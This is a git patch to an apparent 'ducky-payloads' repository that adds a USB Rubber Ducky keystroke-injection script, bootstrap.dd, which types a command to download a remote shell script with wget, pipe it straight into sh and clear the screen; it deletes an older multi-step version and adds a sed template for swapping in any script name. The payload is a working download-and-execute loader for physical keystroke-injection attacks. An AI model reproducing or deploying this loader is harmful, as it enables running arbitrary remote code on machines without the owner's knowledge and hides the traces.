From 010484305d1b695e2b0077bbc8103d72b91d0700 Mon Sep 17 00:00:00 2001 From: jasmine Date: Sat, 4 Jan 2025 00:04:16 +0800 Subject: [PATCH] improve bootstrap process --- bootstrap.dd | 9 +++++++++ example.dd | 24 ------------------------ install.sh | 2 +- 3 files changed, 10 insertions(+), 25 deletions(-) create mode 100644 bootstrap.dd delete mode 100644 example.dd diff --git a/bootstrap.dd b/bootstrap.dd new file mode 100644 index 0000000..f8f3212 --- /dev/null +++ b/bootstrap.dd @@ -0,0 +1,9 @@ +REM TITLE Bootstrapper +REM AUTHOR Sajenim +REM DESCRIPTION Fetch and execute shell script from remote repository +REM VERSION 1.0 + +DELAY 200 +STRING wget -qO https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh | sh && clear +ENTER + diff --git a/example.dd b/example.dd deleted file mode 100644 index af2cc2a..0000000 --- a/example.dd +++ /dev/null @@ -1,24 +0,0 @@ -REM TITLE Bash Bootstrapper -REM AUTHOR Sajenim -REM DESCRIPTION Fetch and execute a script from remote repository -REM VERSION 1.0 - -DELAY 200 -STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh -ENTER - -DELAY 200 -STRING chmod +x hello_world.sh -ENTER - -DELAY 200 -STRING ./hello_world.sh -ENTER - -DELAY 200 -STRING rm hello_world.sh -ENTER - -DELAY 200 -STRING clear -ENTER diff --git a/install.sh b/install.sh index c5a85f9..9c91941 100755 --- a/install.sh +++ b/install.sh @@ -1,3 +1,3 @@ #!/bin/sh -sed s/hello_world.sh/$1/g example.dd > payload.dd +sed s/hello_world.sh/$1/g bootstrap.dd > payload.dd